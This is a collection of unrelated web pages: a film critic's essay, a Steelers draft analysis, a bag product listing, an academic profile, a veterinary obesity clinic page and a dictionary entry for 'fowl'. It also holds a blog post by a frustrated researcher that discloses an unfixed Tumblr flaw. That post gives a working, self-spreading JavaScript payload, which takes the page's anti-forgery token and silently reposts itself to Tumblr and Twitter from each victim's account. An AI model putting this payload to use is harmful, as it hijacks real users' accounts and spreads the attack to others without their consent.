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For the second time this summer, then, my colleagues and I must face a frequently — and not always politely — asked question: What is wrong with you people? I will, for now, suppress the impulse to turn the question on the moviegoing public, which persists in paying good money to see bad movies that I see free. I don't for a minute believe that financial success contradicts negative critical judgment; $500 million from now, "Dead Man's Chest" will still be, in my estimation, occasionally amusing, frequently tedious and entirely too long. But the discrepancy between what critics think and how the public behaves is of perennial interest because it throws into relief some basic questions about taste, economics and the nature of popular entertainment, as well as the more vexing issue of what, exactly, critics are for.
Are we out of touch with the audience? Why do we go sniffing after art where everyone else is looking for fun, and spoiling everybody's fun when it doesn't live up to our notion or art? What gives us the right to yell "bomb" outside a crowded theater? Variations on these questions arrive regularly in our e-mail in-boxes, and also constitute a major theme in the comments sections of film blogs and Web sites. Online, everyone is a critic, which is as it should be: professional prerogatives aside, a critic is really just anyone who thinks out loud about something he or she cares about, and gets into arguments with fellow enthusiasts. But it would be silly to pretend that those professional prerogatives don't exist, and that they don't foster a degree of resentment. Entitled elites, self-regarding experts, bearers of intellectual or institutional authority, misfits who get to see a movie before anybody else and then take it upon themselves to give away the ending: such people are easy targets of populist anger. Just who do we think we are?Continue reading the main story
There is no easy answer to this question. Film criticism — at least as practiced in the general-interest daily and weekly press — has never been a specialist pursuit. Movies, more than any other art form, are understood to be common cultural property, something everyone can enjoy, which makes any claim of expertise suspect. Therefore, a certain estrangement between us and them — or me and you, to put it plainly — has been built into the enterprise from the start.
The current schism is in some ways nothing new: go back and read reviews in The New York Times of "Top Gun," "Crocodile Dundee" and "The Karate Kid Part II" to see how some of my predecessors dealt with three of the top-earning movies 20 years ago. (The Australian with the big knife was treated more kindly than the flyboy or the high-kicker, by the way.) And the divide between critic and public may also be temporary. Last year, during the Great Box-Office Slump of 2005, we all seemed happy to shrug together at the mediocrity of the big studio offerings.
No more. Whatever the slump might have portended for the movie industry, it appears to be over for the moment, and the critics have resumed their customary role of scapegoat. The modern blockbuster — the movie that millions of people line up to see more or less simultaneously, on the first convenient showing on the opening weekend — can be seen as the fulfillment of the democratic ideal the movies were born to fulfill. To stand outside that happy communal experience and, worse, to regard it with skepticism or with scorn, is to be a crank, a malcontent, a snob.
So we're damned if we don't. And sometimes, also, if we do. When our breathless praise garlands advertisements for movies the public greets with a shrug, we look like suckers or shills. But these accusations would stick only if the job of the critic were to reflect, predict or influence the public taste.
That, however, is the job of the Hollywood studios, in particular of their marketing and publicity departments, and it is the professional duty of critics to be out of touch with — to be independent of — their concerns. These companies spend tens of millions of dollars to persuade you that the opening of a movie is a public event, a cultural experience you will want to be part of. The campaign of persuasion starts weeks or months — or, in the case of multisequel cash cows, years — before the tickets go on sale, with the goal of making their purchase a foregone conclusion by the time the first reviews appear. Sometimes it works and sometimes it doesn't, but the judgment of critics almost never makes the difference between failure and success, at least for mass-release, big-budget movies like "Dead Man's Chest" or "The Da Vinci Code."
So why review them? Why not let the market do its work, let the audience have its fun and occupy ourselves with the arcana — the art — we critics ostensibly prefer? The obvious answer is that art, or at least the kind of pleasure, wonder and surprise we associate with art, often pops out of commerce, and we want to be around to celebrate when it does and to complain when it doesn't. But the deeper answer is that our love of movies is sometimes expressed as a mistrust of the people who make and sell them, and even of the people who see them. We take entertainment very seriously, which is to say that we don't go to the movies for fun. Or for money. We do it for you.Continue reading the main story


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The Steelers, winners of two Super Bowls in the '00s, have long had the perfect draft model: patience with young players. But after missing the playoffs in '12 and '13, Pittsburgh has many holes and might need to start relying on rookies
The best part of the NFL draft is its brutal honesty. We're always asking coaches and general managers to be transparent about their teams; we'd love for them to reveal which of their players they don't actually like. Of course, they never do.
Except during the draft, that is.
You wouldn't upgrade your TV if you love the one you already have. The same concept applies to how teams view players. A team doesn't draft a player if it has someone the general manager already loves at the same position. And if a team gets a chance to draft a stud who somehow falls to them, well, the front office is suddenly taking a sharper look at the incumbent player's limitations.
General managers and coaches often say they take the best player available on their board. In reality, they usually take the player who best fits their needs. Granted, there's often overlap. It really boils down to common sense: a team that has Andrew Luck or Aaron Rodgers would never contemplate drafting a quarterback, even if that QB had a perfect grade and rated at the top of every board. This is an extreme example, but it paints a clear picture. Players aren't drafted unless they're expected to fill some need.
In this way, the most interesting team to watch in this year's draft will be the Steelers. Come the second week of May, it will be fascinating to see what GM Kevin Colbert and coach Mike Tomlin tell us about their club, which missed the playoffs for back-to-back seasons for the first time since 1999-2000.
For the longest time, the Steelers have had the perfect draft model. They filled holes two or three years in advance, so rookies (even first-round picks) often learned the ropes from the second string. This works when you have good assistant coaches; young players are able to develop under teachers like linebackers coach Keith Butler and secondary coach Carnell Lake, who both work under legendary defensive coordinator Dick LeBeau.
Since taking over Pittsburgh's football operations in 2000, Colbert has drafted 42 players in the first three rounds, with 32 eventually becoming starters. Of those 32, however, only 11 started at least half of the games as rookies (see sidebar).
Despite this shrewd model, the Steelers are coming off a second straight 8-8 disappointment. Only twice in the previous dozen years under Colbert had they failed to post a winning record. Will he and Tomlin be less patient and draft players to fill immediate needs?
They've actually done this a few times recently on offense. Running back Le'Veon Bell and guard David DeCastro were selected to answer immediate needs in the past two years, but they were also taken to help prop up the running game, where football is played in its simplest form. Rookies taken primarily for the passing game or defense still don't crack the first unit in Pittsburgh.
Maybe that's because Pittsburgh historically hasn't had many holes to fill here. Or it might be that the staff isn't under the immense pressure felt by other front offices around the league. Unlike most head coaches and GMs trying to avoid a three-year playoff drought, Tomlin and Colbert don't have to worry about job security working for the Rooney family, which is as patient as it is wise. And if Colbert and Tomlin want to keep drafting and developing players who won't have major roles until years two or three, well, two Super Bowl appearances in the past seven years has earned them that right.
But there are several holes on the 2014 roster to worry about.
Wide receiver is one. Last year's third-round pick, Markus Wheaton, had finger injuries and rode the bench for most of 2013. He's now being thrust into the No. 2 job. The signing of Lance Moore takes some of the pressure off, but in today's NFL, if a guy can't cut it as a No. 2, he probably can't cut it as a No. 3 either. (Just ask Darrius Heyward-Bey, whom the Steelers recently signed to compete for a low-end roster spot.) At the owners meetings in Orlando this winter, Tomlin said he looked forward to Wheaton "taking a significant step." We'll see how true that is when the Steelers are on the clock and a handful of intriguing wideouts are on the board.
On defense, the end position is of serious concern. Fourth-year pro Cameron Heyward finally played up to his first-round potential last season, which is one reason Ziggy Hood was deemed replaceable. But veteran Brett Keisel still hasn't been re-signed, nor has a replacement been found. Unless, of course, you consider 2013 seventh-round pick Nick Williams, who sat out last year with a kneecap injury. But if the Steelers felt Williams could be their guy, they wouldn't have waited 222 picks to draft him.
At inside linebacker there are questions about 2013 sixth-rounder Vince Williams, who was forced into a starting role after Larry Foote's season-ending injury last September. Williams improved against the run, but he remains wide-eyed against the pass. The plan was for 2012 third-round pick Sean Spence to one day replace Foote. Spence, unfortunately, suffered a catastrophic knee injury in his first training camp and has yet to play a game. He's said to be progressing well this offseason, but he's no sure thing.
And then there's cornerback. Ike Taylor showed hints of decline last season. At 34 he remains a potent starter who can match up against No. 1 receivers in a modified scheme that no longer requires him to shadow those guys on an island. But Taylor is likely not in the long-term plans; he had to take a pay cut and has an expiring contract.
Opposite Taylor, William Gay gave his usual vacillating performance last year. Cortez Allen has been adequate in the slot and looked good when he was promoted back to starting left corner late in the season. But today's NFL demands three quality corners, not just two. Colbert usually drafts a developmental cornerback between the third and fifth rounds. Whoever that corner is this year may get a crack at playing right away.
Whether Colbert fills holes immediate in this draft might be determined by which players are still on the board. (Including compensatory picks, the Steelers will draft at Nos. 15, 46, 97, 118, 157, 173, 192, 215 and 230). My guess is he'll ignore immediate needs and stick to his model of drafting two years in advance. Reason being, Colbert was unusually active in free agency this year. Moore's signing gave some cushion to the need at wide receiver. The signing of nosetackle Cam Thomas may temporarily take care of defensive end; it depends on whether incumbent nosetackle Steve McLendon and/or Thomas can slide outside and still be viable. And the need at linebacker might have been addressed by the signing of safety Mike Mitchell, whose presence will allow Troy Polamalu or Shamarko Thomas to replace Vince Williams as dime 'backers on passing downs.
The last two times the Steelers came off 8-8 seasons, Colbert stayed true to his "draft for the future" model. In 2007, he selected Lawrence Timmons and LaMarr Woodley. In 2013, he took Jarvis Jones, Wheaton and Shamarko Thomas. All of these guys, save for Jones, were backups as rookies. (And Jones ended up losing his starting spot for several weeks in the middle of the season.)
In '07, however, the Steelers were just two years removed from a Super Bowl title. In '13, they were two years removed from a 12-win season. We haven't seen this franchise come off back-to-back lackluster campaigns since the late 1990s. If they were to consider a new approach, now would be the time.


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Sanook 10
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Sa∙Nook [สนุก] - "Fun"
Something that provides mirth or amusement.
The Sanook bag is just that - fun!
Made from dyed hemp and Miao hill tribe shirt collars, the Sanook is a great little everyday shoulder bag.
With an adjustable leather strap, the bag is fully lined inside and includes a concealed zip pocket on one side and two open pockets on the other.
Bag Dimensions: 31x25cm
Strap Length: Max 128cm (adjustable)
**Please Note: Our bags are made from vintage handcrafted fabrics and as a result may display some visible surface wear. Any minor imperfections are indicative of the fabrics age/handmade nature and should be treated as a part of its rich history.


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Mohamed Ali Teffahi (alumni)
Overview and Interests
Software Defined, and Cognetive Radio.
DSP and ASIC implementation of communication blocks for fixed broadband wireless access (IEEE 802.16 standard family).
MIMO, Cooperation and Coding for Wireless Communication From theory to Implementation.
MIMONET: Advances MIMO Techniques for Communication networks Vertical MIMO: Cross-Layer Optimisation in Sensor Adhoc Netoworks.
Horizontal MIMO.
- MIMO techniques in DSL lines (Multi-carrier DMT) - MIMO techniques in cellular networks (Multi-Antenna, Multi-User, Multi-Cell communication) - MIMO techniques over Multi-Model Fibre Optics
Publications - Show all
1. Mohamed Ali Teffahi, "MIMONET: Advanced MIMO techniques for Communication Networks," Presentation, May 2006


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Security is art for me. Reporting yet another routine vulnerability(e.g. XSS is one) is a routine.
Now the question is: Why reporting a vulnerability is always such a hassle and tedious email ping-pong?
Should we have another startup: getavuln.com(getsatisfaction analogy) which aggregates vulnerabilities for all websites to make reporting easier? I'm kidding.
Frankly, I want every flaw I find to be fixed - I report it and reported so far to more than 20 pretty popular sites. Only 1 of them(skrill) was nice enough to pay me some bounty and just a few of them said 'thanks'.
I'm pissed off explaining to technical support of Tumblr what is the vulnerability and how to fix it. Getting reply "What is your browser and which OS do you use" - WTF, why do you waste my time? :(
So I am angry with these two things - tumblr spams my twitter w/o my approval and tumblr is not fixing the vulnerability I reported(for free..) a month ago(on 22 May). It's not a full discl. because it also was known since may 19, I warned you, I did.
Create Link with your ANYFUNNYTITLE and LONG FUNNY DESCRIPTION
save somewhere your inject.js
Post the link and enjoy - everyone will reblog it by clicking and will not notice anything. Also you can add me on tumblr and then press the link in your dashboard to see it in action instantly.//save it as YOUR_INJECT_URL.js//do anything you want - you are on 'tumblr.com' originvar inject_js = '';$$('a').each(function(a){ if(a.href.indexOf('ANYFUNNYURL.com') != -1){ inject_js = a.href} })new Ajax.Request('/new/link', {parameters:{'post[date]':'now','post[source_url]':'http://','send_to_twitter':'on','is_rich_text[one]':0,'form_key':document.getElementById('form_key').value,'post[one]':'ANYFUNNYTITLE','post[two]':inject_js,'post[three]':'LONG FUNNY DESCRIPTION','post[type]':'link','channel_id':0,'post[state]':0,'is_rich_text[two]':0,'is_rich_text[three]':1}})setTimeout(function(){document.location = "//ANYFUNNYURL.com";},3000)
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At the Tufts Obesity Clinic for Animals, part of our mission is to investigate why weight management is so challenging and how we can make weight loss safer for pets and easier for owners and veterinarians. Drs. Linder and Freeman have surveyed pet diets marketed for weight loss and published the results in the Journal of the American Veterinary Medical Association. They found that 'light' diets varied tremendously in calorie density, feeding directions, and price (for example, dry canine diets ranged from 217-440 kcal/cup). These results support the notion that having owners simply 'switch to a light food is unlikely to be successful' and depending on the current diet, might even lead pets to gain weight.
Category Archives: January 2013
Clinical Case Challenge
Maxy, a 2-year-old spayed female Golden Retriever, presents for her first weigh in after starting a weight loss program. Her initial physical exam reveals no abnormalities other than a body condition score of 9/9 (normal muscle condition). Her starting weight is 105 pounds, with an estimated ideal weight of 80 pounds. Her diet history reveals that she was receiving 2000 kcal from her current diet. You start her on 1600 kcal of a therapeutic diet after calculating that this is 80% of her current estimated caloric intake. After two weeks on the veterinary therapeutic diet, the owner is upset that Maxy has gained one-half pound and is now 105.5 lbs. Continue reading
Current Concepts
Obesity is one of the most common health problems affecting pets, with up to 59% of dogs and cats being overweight. Body condition scoring (BCS) should be performed on every patient and only be used to assess body fat, while muscle condition scoring should be used to quantify muscle wasting (for example, an obese pet, which would be a BCS 9 on a 9 point scale, could also have severe muscle wasting). Obesity has been associated with numerous diseases, including pancreatitis, osteoarthritis, dermatologic disease, diabetes, certain types of neoplasia, and respiratory tract disease. In addition, one major study showed mild to moderately (BCS 6-7/9) overweight dogs had shorter median lifespans than their leaner counterparts (BCS 4-5/9). Obesity is more easily prevented than treated and the veterinarian plays an important role in educating clients before a pet becomes obese. Continue reading
At Your Service: Nutrition
The Tufts Obesity Clinic for Animals focuses on individualized weight loss programs with careful monitoring to help pets become slimmer, happier and healthier. Weight management can be very challenging and time-consuming, especially if patients have comorbidities that require additional nutritional modification. We specialize in weight loss plans for patients that have previously failed on other plans, weight loss plans for pets with special dietary needs, complicated situations including multi-pet or multi-owner households, and above all, personalized care and guidance for owners and veterinarians to help patients achieve and maintain optimal weight. Continue reading


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n. pl. fowl or fowls
1. Any of various birds of the order Galliformes, especially the common, widely domesticated chicken (Gallus domesticus).
a. A bird, such as a duck, goose, turkey, or pheasant, that is used as food or hunted as game.
b. The flesh of such birds used as food.
3. A bird of any kind.
fowl′er n.
domestic fowl. A member of the genus Gallus of the family Phasianidae, the pheasant family. Characterized by a fleshy comb, earlobes below the eyes and wattles from below the beak, long, drooping hackle feathers on the neck of the cock, pendent, lancet-shaped covert feathers on the wings, upward curving sickle feathers in the tail of the male, jointed spurs on the legs of the cock bird and well-marked sexual dimorphism.
There are many breeds of domestic fowl but they have diminished in importance with the expansion of the broiler and egg industries, most enterprises carrying their own genetic strains identified by code numbers. Some of the more common breeds are identified under the headings: brahma, cochin, cornish, english game, langshan, minorca, orpington (Buff and Black), plymouth rock, rhode island red, silkie, sussex, white leghorn, wyandotte and many breeds of bantam.
For most entries relating to fowls see under avian.
fowl cholera
a contagious widespread disease of fowls caused by Pasteurella multocida and manifested by septicemia with sudden onset, rapid spread, short course and high mortality. There may be diarrhea and dyspnea.
fowl coryza
a serious, widespread, respiratory disease of fowls caused by Avibacteriumparagallinarum and characterized by acute inflammation of the upper respiratory tract and air sacs. It is characterized by an acute onset of mucoid or serous nasal discharge, facial edema and conjunctivitis, swollen wattles, diarrhea, reduced feed intake and a heavy culling rate.
fowl manna grass
fowl paralysis
see marek's disease.
fowl paratyphoid
an important cause of wastage in commercial birds, especially turkeys occurring as outbreaks of severe enteritis in young birds caused by Salmonella spp. including over 100 species.
fowl pest
see newcastle disease.
fowl plague
see avian influenza.
fowl pox
see fowlpox.
fowl tick
see argaspersicus.
fowl typhoid
a disease of fowl and turkeys caused by Salmonella gallinarum. It affects only adult hens and is rare in modern, hygienically managed commercial flocks. There is weakness, diarrhea and anemia. The course is short and case mortality is high.